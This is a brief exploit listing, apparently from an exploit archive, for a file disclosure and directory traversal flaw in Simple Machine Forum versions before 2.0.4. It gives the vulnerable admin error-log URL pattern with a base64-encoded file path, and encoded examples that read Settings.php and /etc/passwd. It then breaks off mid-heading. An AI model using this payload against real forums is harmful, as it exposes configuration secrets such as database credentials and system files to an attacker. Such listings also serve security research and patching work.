Simple Machine Forum 2.0.x < 2.0.4 - File Disclosure / Directory Traversal

Exploit Title: SMF /index.php?action=admin;area=logs;sa=errorlog;file=BASE64 ENCODED FILE PATH;line=LINE NUMBER Example : /srv/www/smf/Settings.php : L3Nydi93d3cvc21mL1NldHRpbmdzLnBocA= /etc/passwd : L2V0Yy9wYXNzd2Q= SMF Configuration File Disclosure :...